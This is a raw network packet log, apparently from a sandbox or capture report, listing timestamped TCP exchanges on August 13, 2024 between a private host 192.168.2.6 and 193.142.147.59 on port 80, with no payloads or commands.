Aug 13, 2024 10:21:13.171618938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.172193050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.172204018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.172214985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.172224045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.172245026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.172497988 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.227961063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.228003979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.228013992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.228141069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.228164911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.228195906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.228205919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.228218079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.228218079 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.228240013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.228460073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.239346981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.239388943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.239398003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.239454985 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.239454985 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.239525080 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.239626884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.239631891 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.239703894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.239715099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.239801884 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.241122007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.241194010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.241204023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.241219997 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.241314888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.241324902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.241334915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.241341114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.241468906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.241589069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.241604090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.241785049 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.242187023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.242235899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.242247105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.242297888 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.242363930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.242373943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.242383003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.242393017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.242413044 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.242446899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.242598057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.242722034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.252722025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.252759933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.252769947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.252831936 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.252831936 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.252901077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253036976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253046989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253056049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253066063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253077030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253087997 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.253098965 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.253118038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.253402948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253412962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253421068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253452063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253460884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253470898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253473043 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.253480911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253504992 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.253676891 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.253988981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.253998995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.254008055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.254017115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.254040956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.254070044 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.254251957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.254261971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.254271030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.254288912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.254302025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.254309893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.254309893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.254312038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.254322052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.254331112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.254337072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.254383087 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.254383087 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.255434036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.255498886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.255510092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.255600929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.255620956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.255707026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.255717039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.255727053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.255731106 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.255733967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.255754948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.255887985 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.255944014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256026030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256035089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256154060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.256180048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256191015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256198883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256207943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256231070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.256356001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.256490946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256501913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256511927 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256521940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256531954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256553888 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.256593943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.256752014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256827116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256839037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256848097 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256856918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256866932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.256890059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.256915092 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.256915092 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.257230043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257240057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257250071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257277966 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.257322073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.257365942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257499933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257508993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257518053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257524014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.257527113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257536888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257541895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.257546902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257555962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257565022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.257567883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.257570028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.257595062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.257837057 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.258268118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258277893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258287907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258296013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258306026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258315086 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258323908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258332968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258337021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.258342981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258352995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258363008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258364916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.258369923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.258372068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.258420944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.258420944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.259175062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.259186029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.259197950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.259207010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.259216070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.259226084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.259234905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.259239912 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.259239912 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.259247065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.259254932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.259262085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.259299994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.259299994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.315728903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.315885067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.315896988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.315922022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.315942049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.315951109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.315960884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.315969944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.316006899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.316006899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.488308907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.494680882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711020947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711040974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711051941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711221933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.711221933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.711239100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711251020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711261034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711304903 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.711484909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711497068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711512089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711519957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.711524010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711535931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711544037 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.711572886 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.711827993 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.711836100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.711999893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712012053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712022066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712024927 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.712032080 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712044001 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712048054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.712054014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712065935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712075949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712090015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.712090015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.712270021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.712584972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712595940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712605953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712651968 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.712651968 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.712848902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712860107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712869883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712882042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712888002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712893009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712903023 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.712910891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712923050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712933064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712939978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.712939978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.712945938 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712956905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712968111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.712969065 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.712989092 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.713169098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.713841915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713852882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713859081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713865042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713884115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713891029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713895082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713900089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713907003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713912010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713917971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713928938 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.713946104 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.713983059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.713983059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.714865923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714878082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714888096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714894056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714898109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714903116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714907885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714914083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714924097 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714929104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714939117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714939117 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.714951038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714962006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.714966059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.715002060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.715002060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.715780973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715791941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715802908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715815067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715832949 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.715836048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715847969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715857983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715863943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.715868950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715879917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715883970 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.715890884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715902090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715907097 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.715913057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.715935946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.716070890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.716784000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.716795921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.716805935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.716816902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.716828108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.716835022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.716839075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.716849089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.716855049 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.716861010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.716867924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.716872931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.716897011 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.717030048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.792248011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792304993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792321920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792387962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792404890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792421103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792424917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.792469978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.792469978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.792620897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792637110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792848110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792862892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792879105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792893887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.792907000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.792910099 CEST	80	49711	193.142.147.59	192.168.2.6
